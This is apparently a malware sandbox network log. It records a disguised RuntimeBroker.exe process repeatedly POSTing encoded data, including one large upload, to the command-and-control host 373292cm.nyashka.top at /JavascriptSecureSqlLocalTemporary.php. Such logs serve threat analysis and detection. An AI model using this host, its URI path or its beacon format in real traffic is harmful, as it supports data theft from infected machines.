Jan 11, 2025 06:43:33.191212893 CET	281	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 373292cm.nyashka.top Content-Length: 2544 Expect: 100-continue Connection: Keep-Alive
Jan 11, 2025 06:43:33.535810947 CET	2544	OUT	Data Raw: 5a 51 5c 55 54 46 54 5c 5b 5f 5a 51 59 50 58 56 57 59 5d 59 57 51 53 5c 5c 5d 5f 5a 5b 5f 5a 51 5a 5a 52 5b 55 5f 50 5a 5d 5a 59 5c 55 56 54 5f 5f 5b 58 5b 58 5f 50 5d 58 5d 53 58 57 59 55 56 5c 5d 5c 59 55 5b 52 50 47 5a 5a 5d 42 58 5d 5c 56 5b Data Ascii: ZQ\UTFT\[_ZQYPXVWY]YWQS\\]_Z[_ZQZZR[U_PZ]ZY\UVT__[X[X_P]X]SXWYUV\]\YU[RPGZZ]BX]\V[TSRYZ[S]UR^_QV^\^RU_[_T\A^ZX\[Z\X]XRXWZZZQ^UCRYPZWXVQY[]ZWZGYZS[[]T^V_Y_G\TQ[QG\]ZX]]VZ^W]^^YUF[YZ_W^S.;03@5=$^75[)<]+.:<=;X#<07W8Q<97_41Y;&F$.Y/
Jan 11, 2025 06:43:33.820041895 CET	25	IN	HTTP/1.1 100 Continue
Jan 11, 2025 06:43:33.985991955 CET	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 11 Jan 2025 05:43:33 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 3b 55 5f 5b Data Ascii: ;U_[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.6	57002	37.44.238.250	80	6008	C:\Windows\LiveKernelReports\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 06:43:34.058068991 CET	281	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 373292cm.nyashka.top Content-Length: 1852 Expect: 100-continue Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.6	57007	37.44.238.250	80	6008	C:\Windows\LiveKernelReports\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 06:43:34.214401007 CET	281	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 373292cm.nyashka.top Content-Length: 2536 Expect: 100-continue Connection: Keep-Alive
Jan 11, 2025 06:43:34.570993900 CET	2536	OUT	Data Raw: 5f 57 5c 52 51 40 54 59 5b 5f 5a 51 59 57 58 54 57 5f 5d 5b 57 59 53 5f 5c 5d 5f 5a 5b 5f 5a 51 5a 5a 52 5b 55 5f 50 5a 5d 5a 59 5c 55 56 54 5f 5f 5b 58 5b 58 5f 50 5d 58 5d 53 58 57 59 55 56 5c 5d 5c 59 55 5b 52 50 47 5a 5a 5d 42 58 5d 5c 56 5b Data Ascii: _W\RQ@TY[_ZQYWXTW_][WYS_\]_Z[_ZQZZR[U_PZ]ZY\UVT__[X[X_P]X]SXWYUV\]\YU[RPGZZ]BX]\V[TSRYZ[S]UR^_QV^\^RU_[_T\A^ZX\[Z\X]XRXWZZZQ^UCRYPZWXVQY[]ZWZGYZS[[]T^V_Y_G\TQ[QG\]ZX]]VZ^W]^^YUF[YZ_W^S-.3C5$#>>./<-<.<#<0#2'()^43"/&F$.Y/)
Jan 11, 2025 06:43:34.861743927 CET	25	IN	HTTP/1.1 100 Continue
Jan 11, 2025 06:43:34.998178959 CET	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 11 Jan 2025 05:43:34 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 3b 55 5f 5b Data Ascii: ;U_[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.6	57013	37.44.238.250	80	6008	C:\Windows\LiveKernelReports\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 06:43:35.135605097 CET	257	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 373292cm.nyashka.top Content-Length: 2544 Expect: 100-continue
Jan 11, 2025 06:43:35.488943100 CET	2544	OUT	Data Raw: 5a 50 5c 54 54 45 51 5b 5b 5f 5a 51 59 56 58 52 57 5d 5d 53 57 5e 53 59 5c 5d 5f 5a 5b 5f 5a 51 5a 5a 52 5b 55 5f 50 5a 5d 5a 59 5c 55 56 54 5f 5f 5b 58 5b 58 5f 50 5d 58 5d 53 58 57 59 55 56 5c 5d 5c 59 55 5b 52 50 47 5a 5a 5d 42 58 5d 5c 56 5b Data Ascii: ZP\TTEQ[[_ZQYVXRW]]SW^SY\]_Z[_ZQZZR[U_PZ]ZY\UVT__[X[X_P]X]SXWYUV\]\YU[RPGZZ]BX]\V[TSRYZ[S]UR^_QV^\^RU_[_T\A^ZX\[Z\X]XRXWZZZQ^UCRYPZWXVQY[]ZWZGYZS[[]T^V_Y_G\TQ[QG\]ZX]]VZ^W]^^YUF[YZ_W^S.;(6 \40>.,X<X9Z(# #<:7_4;.&F$.Y/!
Jan 11, 2025 06:43:35.764413118 CET	25	IN	HTTP/1.1 100 Continue
Jan 11, 2025 06:43:35.894414902 CET	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 11 Jan 2025 05:43:35 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 3b 55 5f 5b Data Ascii: ;U_[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.6	57019	37.44.238.250	80	6008	C:\Windows\LiveKernelReports\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 06:43:36.271702051 CET	281	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 373292cm.nyashka.top Content-Length: 2544 Expect: 100-continue Connection: Keep-Alive
Jan 11, 2025 06:43:36.629897118 CET	2544	OUT	Data Raw: 5a 56 59 57 54 46 54 5d 5b 5f 5a 51 59 54 58 56 57 5e 5d 5f 57 5c 53 5e 5c 5d 5f 5a 5b 5f 5a 51 5a 5a 52 5b 55 5f 50 5a 5d 5a 59 5c 55 56 54 5f 5f 5b 58 5b 58 5f 50 5d 58 5d 53 58 57 59 55 56 5c 5d 5c 59 55 5b 52 50 47 5a 5a 5d 42 58 5d 5c 56 5b Data Ascii: ZVYWTFT][_ZQYTXVW^]_W\S^\]_Z[_ZQZZR[U_PZ]ZY\UVT__[X[X_P]X]SXWYUV\]\YU[RPGZZ]BX]\V[TSRYZ[S]UR^_QV^\^RU_[_T\A^ZX\[Z\X]XRXWZZZQ^UCRYPZWXVQY[]ZWZGYZS[[]T^V_Y_G\TQ[QG\]ZX]]VZ^W]^^YUF[YZ_W^S.,/".#4))<>+.7]#,V42<?$##,&F$.Y/)
Jan 11, 2025 06:43:36.917495012 CET	25	IN	HTTP/1.1 100 Continue
Jan 11, 2025 06:43:37.050012112 CET	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 11 Jan 2025 05:43:36 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 3b 55 5f 5b Data Ascii: ;U_[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.6	57026	37.44.238.250	80	6008	C:\Windows\LiveKernelReports\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 06:43:37.414597988 CET	281	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 373292cm.nyashka.top Content-Length: 2544 Expect: 100-continue Connection: Keep-Alive
Jan 11, 2025 06:43:37.770519018 CET	2544	OUT	Data Raw: 5f 57 5c 56 54 41 54 5e 5b 5f 5a 51 59 5e 58 55 57 50 5d 58 57 5a 53 5c 5c 5d 5f 5a 5b 5f 5a 51 5a 5a 52 5b 55 5f 50 5a 5d 5a 59 5c 55 56 54 5f 5f 5b 58 5b 58 5f 50 5d 58 5d 53 58 57 59 55 56 5c 5d 5c 59 55 5b 52 50 47 5a 5a 5d 42 58 5d 5c 56 5b Data Ascii: _W\VTAT^[_ZQY^XUWP]XWZS\\]_Z[_ZQZZR[U_PZ]ZY\UVT__[X[X_P]X]SXWYUV\]\YU[RPGZZ]BX]\V[TSRYZ[S]UR^_QV^\^RU_[_T\A^ZX\[Z\X]XRXWZZZQ^UCRYPZWXVQY[]ZWZGYZS[[]T^V_Y_G\TQ[QG\]ZX]]VZ^W]^^YUF[YZ_W^S.Y;?6-7 5\> >-)<.?7723?*$7 2/>&F$.Y/
Jan 11, 2025 06:43:38.040425062 CET	25	IN	HTTP/1.1 100 Continue
Jan 11, 2025 06:43:38.170429945 CET	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 11 Jan 2025 05:43:37 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 3b 55 5f 5b Data Ascii: ;U_[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.6	57036	37.44.238.250	80	6008	C:\Windows\LiveKernelReports\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 06:43:38.348045111 CET	281	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 373292cm.nyashka.top Content-Length: 2544 Expect: 100-continue Connection: Keep-Alive
Jan 11, 2025 06:43:38.692085028 CET	2544	OUT	Data Raw: 5a 55 59 53 54 47 51 5e 5b 5f 5a 51 59 5e 58 56 57 5d 5d 5c 57 50 53 5b 5c 5d 5f 5a 5b 5f 5a 51 5a 5a 52 5b 55 5f 50 5a 5d 5a 59 5c 55 56 54 5f 5f 5b 58 5b 58 5f 50 5d 58 5d 53 58 57 59 55 56 5c 5d 5c 59 55 5b 52 50 47 5a 5a 5d 42 58 5d 5c 56 5b Data Ascii: ZUYSTGQ^[_ZQY^XVW]]\WPS[\]_Z[_ZQZZR[U_PZ]ZY\UVT__[X[X_P]X]SXWYUV\]\YU[RPGZZ]BX]\V[TSRYZ[S]UR^_QV^\^RU_[_T\A^ZX\[Z\X]XRXWZZZQ^UCRYPZWXVQY[]ZWZGYZS[[]T^V_Y_G\TQ[QG\]ZX]]VZ^W]^^YUF[YZ_W^S.Y/U3@"-7 5Y)#<>5_(=(#/+#20Q('\4V%]..&F$.Y/
Jan 11, 2025 06:43:38.976774931 CET	25	IN	HTTP/1.1 100 Continue
Jan 11, 2025 06:43:39.106523037 CET	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 11 Jan 2025 05:43:38 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 3b 55 5f 5b Data Ascii: ;U_[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.6	57042	37.44.238.250	80	6008	C:\Windows\LiveKernelReports\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 06:43:39.230544090 CET	281	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 373292cm.nyashka.top Content-Length: 1872 Expect: 100-continue Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.6	57043	37.44.238.250	80	6008	C:\Windows\LiveKernelReports\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 06:43:39.268450975 CET	281	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 373292cm.nyashka.top Content-Length: 2544 Expect: 100-continue Connection: Keep-Alive
Jan 11, 2025 06:43:39.613997936 CET	2544	OUT	Data Raw: 5a 50 5c 53 54 47 51 59 5b 5f 5a 51 59 5f 58 55 57 5e 5d 5b 57 5e 53 5e 5c 5d 5f 5a 5b 5f 5a 51 5a 5a 52 5b 55 5f 50 5a 5d 5a 59 5c 55 56 54 5f 5f 5b 58 5b 58 5f 50 5d 58 5d 53 58 57 59 55 56 5c 5d 5c 59 55 5b 52 50 47 5a 5a 5d 42 58 5d 5c 56 5b Data Ascii: ZP\STGQY[_ZQY_XUW^][W^S^\]_Z[_ZQZZR[U_PZ]ZY\UVT__[X[X_P]X]SXWYUV\]\YU[RPGZZ]BX]\V[TSRYZ[S]UR^_QV^\^RU_[_T\A^ZX\[Z\X]XRXWZZZQ^UCRYPZWXVQY[]ZWZGYZS[[]T^V_Y_G\TQ[QG\]ZX]]VZ^W]^^YUF[YZ_W^S.^; 'C"$_#V))> Y(=!+-X#,Q42,<:$4/>&F$.Y/
Jan 11, 2025 06:43:39.896876097 CET	25	IN	HTTP/1.1 100 Continue
Jan 11, 2025 06:43:40.029237032 CET	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 11 Jan 2025 05:43:39 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 3b 55 5f 5b Data Ascii: ;U_[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.6	57050	37.44.238.250	80	6008	C:\Windows\LiveKernelReports\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 06:43:40.562985897 CET	257	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 373292cm.nyashka.top Content-Length: 2544 Expect: 100-continue
Jan 11, 2025 06:43:40.911035061 CET	2544	OUT	Data Raw: 5f 57 5c 57 54 46 51 5d 5b 5f 5a 51 59 54 58 52 57 5d 5d 5f 57 59 53 55 5c 5d 5f 5a 5b 5f 5a 51 5a 5a 52 5b 55 5f 50 5a 5d 5a 59 5c 55 56 54 5f 5f 5b 58 5b 58 5f 50 5d 58 5d 53 58 57 59 55 56 5c 5d 5c 59 55 5b 52 50 47 5a 5a 5d 42 58 5d 5c 56 5b Data Ascii: _W\WTFQ][_ZQYTXRW]]_WYSU\]_Z[_ZQZZR[U_PZ]ZY\UVT__[X[X_P]X]SXWYUV\]\YU[RPGZZ]BX]\V[TSRYZ[S]UR^_QV^\^RU_[_T\A^ZX\[Z\X]XRXWZZZQ^UCRYPZWXVQY[]ZWZGYZS[[]T^V_Y_G\TQ[QG\]ZX]]VZ^W]^^YUF[YZ_W^S.Y/ "# %)?<!Z<>7Z4Z341+9( 5,&F$.Y/)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.6	57055	37.44.238.250	80	6008	C:\Windows\LiveKernelReports\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 06:43:41.162261009 CET	283	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 373292cm.nyashka.top Content-Length: 171160 Expect: 100-continue Connection: Keep-Alive
Jan 11, 2025 06:43:41.520301104 CET	12360	OUT	Data Raw: 5f 54 5c 50 54 45 54 51 5b 5f 5a 51 59 54 58 51 57 5f 5d 5d 57 5f 53 5f 5c 5d 5f 5a 5b 5f 5a 51 5a 5a 52 5b 55 5f 50 5a 5d 5a 59 5c 55 56 54 5f 5f 5b 58 5b 58 5f 50 5d 58 5d 53 58 57 59 55 56 5c 5d 5c 59 55 5b 52 50 47 5a 5a 5d 42 58 5d 5c 56 5b Data Ascii: _T\PTETQ[_ZQYTXQW_]]W_S_\]_Z[_ZQZZR[U_PZ]ZY\UVT__[X[X_P]X]SXWYUV\]\YU[RPGZZ]BX]\V[TSRYZ[S]UR^_QV^\^RU_[_T\A^ZX\[Z\X]XRXWZZZQ^UCRYPZWXVQY[]ZWZGYZS[[]T^V_Y_G\TQ[QG\]ZX]]VZ^W]^^YUF[YZ_W^S./#'D5#7!Y)-_?X)?=X7< !!W?0#V68>&F$.Y/)
Jan 11, 2025 06:43:41.525284052 CET	2472	OUT	Data Raw: 2b 5a 3f 5a 23 5f 5f 00 31 00 25 16 02 16 26 3c 01 30 29 0a 37 25 30 16 0a 3d 19 2b 3f 5a 2e 2d 32 3c 34 28 22 5e 1e 2e 0d 5a 3d 30 08 08 25 11 3b 38 05 2a 0d 20 36 32 3d 26 18 0b 3f 28 17 21 3d 5b 1c 20 0d 29 05 10 3f 03 2e 06 3d 12 5d 5f 24 2b Data Ascii: +Z?Z#__1%&<0)7%0=+?Z.-2<4("^.Z=0%;8* 62=&?(!=[ )?.=]_$+<R?V]?+953=9<,4^ ??T/!<E6.\?3>-7."-U1<:% ^478@]/:6(8??5* =1S'\<&31PT1V2+32"-$'2?2':6/?8+ZVW>,+V>.<9%=1/
Jan 11, 2025 06:43:41.525309086 CET	7416	OUT	Data Raw: 33 0d 1c 19 24 20 24 06 24 5d 02 1d 37 22 05 18 36 31 5e 54 29 36 21 5a 3f 28 5c 08 21 55 21 2e 37 02 27 12 06 04 32 18 38 34 22 1b 3a 58 19 10 26 3b 2e 32 02 2d 29 2e 25 11 30 5d 34 0c 5b 2f 0b 07 5e 07 3d 04 25 3e 0e 3e 15 04 2f 5c 1e 06 0b 12 Data Ascii: 3$ $$]7"61^T)6!Z?(\!U!.7'284":X&;.2-).%0]4[/^=%>>/\99+;)$[+8W0+54)\2!T<^$1%7(/-1#5S:>95!!W%\>#>!?82T5C[3?.<)<5Z#&9-'1Y?-<"Y=#:+=!);#95?+ !\>\,:64> +,V9 X61)"1
Jan 11, 2025 06:43:41.525341988 CET	3708	OUT	Data Raw: 2b 02 23 1b 03 02 1a 3b 3f 1c 0f 5c 0e 57 0e 35 27 34 0e 5e 38 56 19 12 36 08 2d 13 34 42 2e 1f 3c 2b 2f 32 33 0a 5e 21 29 59 5b 3e 05 2f 31 17 3f 2a 0f 1f 3c 10 3c 16 33 39 22 39 37 3c 07 2a 3d 00 20 5c 34 22 1a 1f 30 03 53 14 3b 5c 1b 3d 3a 59 Data Ascii: +#;?\W5'4^8V6-4B.<+/23^!)Y[>/1?<<39"97<= \4"0S;\=:Y\1 5-]UY#&+8)/8><.)V:+ !5^X:!#81%$82=63.%>,A0+-.4/Y9(H[]<2,>'_. =#W#Z5'8#;=-],38:8$^#/Y=]3=4$02/
Jan 11, 2025 06:43:41.525353909 CET	1236	OUT	Data Raw: 03 3d 26 09 03 06 20 3c 23 2b 38 1d 0a 3f 2d 26 09 20 04 1f 30 5f 23 5d 32 08 14 57 09 31 36 34 25 27 0b 07 3a 59 14 36 3f 41 1a 26 37 02 3e 37 2c 5b 01 5f 3c 39 37 18 29 2c 0f 50 28 5a 01 15 3f 07 2d 1d 3a 5b 2a 38 0f 00 2c 3d 15 2c 0b 3c 3d 33 Data Ascii: =& <#+8?-& 0_#]2W164%':Y6?A&7>7,[_<97),P(Z?-:[8,=,<=321$,10$:<D&9,?;">,4[W= !='308K8;3E&0+8#"X 5T<<>+;0,6T ^66-^&S<!>,$.2!&9"\<X>)32!>/,9U8.3!!9R9,+)\>0;.</#8<$*6].:"
Jan 11, 2025 06:43:41.525409937 CET	4944	OUT	Data Raw: 3e 06 33 59 30 34 16 20 3e 58 56 08 32 26 22 35 3c 3e 5c 23 27 5f 1a 5c 33 2b 5e 50 2a 5c 04 5e 03 37 5a 36 37 01 0a 05 26 05 3f 2a 02 3e 1b 1f 06 3f 34 20 3a 3b 24 3b 3c 05 3d 0f 39 0b 03 33 33 3a 27 5a 0a 2e 25 17 38 2d 2a 21 3a 39 03 2c 0b 11 Data Ascii: >3Y04 >XV2&"5<>\#'_\3+^P\^7Z67&?>?4 :;$;<=933:'Z.%8-!:9,=W48)Y,(<-?,?)><9X$3&Y9#>^5$S"=:<1\8%0,< 0,9='<9$?7E5;:82<_)[4+05]24_8\,',>TRP%3%>=4?9^8?,?^4<71
Jan 11, 2025 06:43:41.525469065 CET	2472	OUT	Data Raw: 0c 2d 26 09 3b 1a 3c 26 3f 31 26 23 34 59 01 13 21 5d 48 06 04 3f 3e 51 27 2f 16 1f 38 35 39 10 08 04 10 19 38 2f 23 55 25 5b 21 13 3d 30 34 15 3b 57 21 35 30 33 27 43 23 31 33 1f 0f 55 32 1d 00 3f 15 3f 3c 22 3e 25 2b 2e 1a 38 0c 5b 27 14 23 56 Data Ascii: -&;<&?1&#4Y!]H?>Q'/8598/#U%[!=04;W!503'C#13U2??<">%+.8['#V3;39 1682_8_<[7)!]=> <6$8652=6!=;U>#?=X<<'?P'869=38]-33^',;Z]2\93+R <%]46<;X#+,,?>U-^-1740R<==-W4-<7?^_!#'U><;+
Jan 11, 2025 06:43:41.525501966 CET	2472	OUT	Data Raw: 0a 32 29 2b 34 2a 25 22 3a 12 2b 02 31 01 53 35 3c 2e 39 5b 3c 39 29 19 10 5a 23 04 27 5c 2c 3c 28 00 0f 0d 2e 38 26 05 3a 09 2e 16 3e 5f 53 52 3a 30 05 1f 05 5b 51 25 04 3f 0a 19 21 07 02 30 27 2e 13 2d 25 1f 1f 13 0d 03 19 1c 3f 2e 31 50 27 0c Data Ascii: 2)+4%":+1S5<.9[<9)Z#'\,<(.8&:.>_SR:0[Q%?!0'.-%?.1P'Q<<\8A1,Z+>;;[>:X^[$9-"?2'S*-9"=7&"?<2=?:,0='<-%^-7Y;/_<=<V?9(?!I&8E%6YX<] =24;:,X"<-T>$19:''90![^5]%+(/))
Jan 11, 2025 06:43:41.530436993 CET	4944	OUT	Data Raw: 0c 57 05 15 00 00 06 1f 20 33 08 3c 00 5c 04 42 32 2b 05 38 33 00 01 16 35 21 3e 3b 0e 0d 1e 37 22 5c 12 3c 2c 32 3f 06 3f 0d 56 22 34 26 0f 24 3d 15 0d 2a 3c 1d 0f 31 06 03 2c 02 05 5b 08 05 08 01 1c 2f 3c 22 27 3d 27 5e 00 1b 30 01 52 2c 3c 3c Data Ascii: W 3<\B2+835!>;7"\<,2??V"4&$=<1,[/<"'='^0R,<<<>00</2_#_1?\;6?![901>;=Y0_Y31.?%3>)/;=;7>25Y :";<21(U%:\+&""PU+)#1Z,!%+P40>]!]".P>?? \)7$:][.,;V(62;48"_FZW&=3
Jan 11, 2025 06:43:41.530459881 CET	4944	OUT	Data Raw: 24 2f 30 1e 37 09 0d 1c 3f 32 39 01 0c 05 29 5a 0a 03 51 13 07 3a 28 00 21 59 3e 59 04 2b 36 00 22 2f 02 5a 27 3a 1a 1e 2b 2a 36 1c 03 2b 59 01 04 32 0f 2b 39 5e 2c 05 3b 5a 0e 56 02 2c 18 17 3d 01 34 04 35 5d 24 5e 3d 3e 25 33 38 31 21 09 26 3b Data Ascii: $/07?29)ZQ:(!Y>Y+6"/Z':+6+Y2+9^,;ZV,=45]$^=>%381!&;$]:""<>=>(%'?6Z:4?#H0->&,8-=]>6%=;3$;/#;?6>H\77:",:'/7,'9-(G) T@\0&C+4?')/?Z34>4=+#0+#:6Y:33&R7[[3!='"
Jan 11, 2025 06:43:41.809174061 CET	25	IN	HTTP/1.1 100 Continue
Jan 11, 2025 06:43:42.451473951 CET	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 11 Jan 2025 05:43:42 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 3b 55 5f 5b Data Ascii: ;U_[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.6	57059	37.44.238.250	80	6008	C:\Windows\LiveKernelReports\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 06:43:41.420749903 CET	281	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 373292cm.nyashka.top Content-Length: 2544 Expect: 100-continue Connection: Keep-Alive
Jan 11, 2025 06:43:41.770231009 CET	2544	OUT	Data Raw: 5f 54 59 57 51 47 54 5f 5b 5f 5a 51 59 56 58 51 57 50 5d 52 57 5d 53 55 5c 5d 5f 5a 5b 5f 5a 51 5a 5a 52 5b 55 5f 50 5a 5d 5a 59 5c 55 56 54 5f 5f 5b 58 5b 58 5f 50 5d 58 5d 53 58 57 59 55 56 5c 5d 5c 59 55 5b 52 50 47 5a 5a 5d 42 58 5d 5c 56 5b Data Ascii: _TYWQGT_[_ZQYVXQWP]RW]SU\]_Z[_ZQZZR[U_PZ]ZY\UVT__[X[X_P]X]SXWYUV\]\YU[RPGZZ]BX]\V[TSRYZ[S]UR^_QV^\^RU_[_T\A^ZX\[Z\X]XRXWZZZQ^UCRYPZWXVQY[]ZWZGYZS[[]T^V_Y_G\TQ[QG\]ZX]]VZ^W]^^YUF[YZ_W^S-;;5['4!]=_?=_?;\ P4!(?* %\;>&F$.Y/!
Jan 11, 2025 06:43:42.078850031 CET	25	IN	HTTP/1.1 100 Continue
Jan 11, 2025 06:43:42.245820999 CET	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 11 Jan 2025 05:43:42 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 3b 55 5f 5b Data Ascii: ;U_[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.6	57060	37.44.238.250	80	6008	C:\Windows\LiveKernelReports\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 06:43:42.370186090 CET	257	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 373292cm.nyashka.top Content-Length: 2544 Expect: 100-continue
Jan 11, 2025 06:43:42.723362923 CET	2544	OUT	Data Raw: 5a 55 5c 5f 54 41 54 58 5b 5f 5a 51 59 5f 58 53 57 5a 5d 59 57 59 53 5d 5c 5d 5f 5a 5b 5f 5a 51 5a 5a 52 5b 55 5f 50 5a 5d 5a 59 5c 55 56 54 5f 5f 5b 58 5b 58 5f 50 5d 58 5d 53 58 57 59 55 56 5c 5d 5c 59 55 5b 52 50 47 5a 5a 5d 42 58 5d 5c 56 5b Data Ascii: ZU\_TATX[_ZQY_XSWZ]YWYS]\]_Z[_ZQZZR[U_PZ]ZY\UVT__[X[X_P]X]SXWYUV\]\YU[RPGZZ]BX]\V[TSRYZ[S]UR^_QV^\^RU_[_T\A^ZX\[Z\X]XRXWZZZQ^UCRYPZWXVQY[]ZWZGYZS[[]T^V_Y_G\TQ[QG\]ZX]]VZ^W]^^YUF[YZ_W^S-;#,5[;" 2)3<?X <#0P?47 =,&F$.Y/
Jan 11, 2025 06:43:43.008708954 CET	25	IN	HTTP/1.1 100 Continue
Jan 11, 2025 06:43:43.140379906 CET	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 11 Jan 2025 05:43:42 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 3b 55 5f 5b Data Ascii: ;U_[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.6	57061	37.44.238.250	80	6008	C:\Windows\LiveKernelReports\RuntimeBroker.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 06:43:43.276381016 CET	257	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 373292cm.nyashka.top Content-Length: 2544 Expect: 100-continue
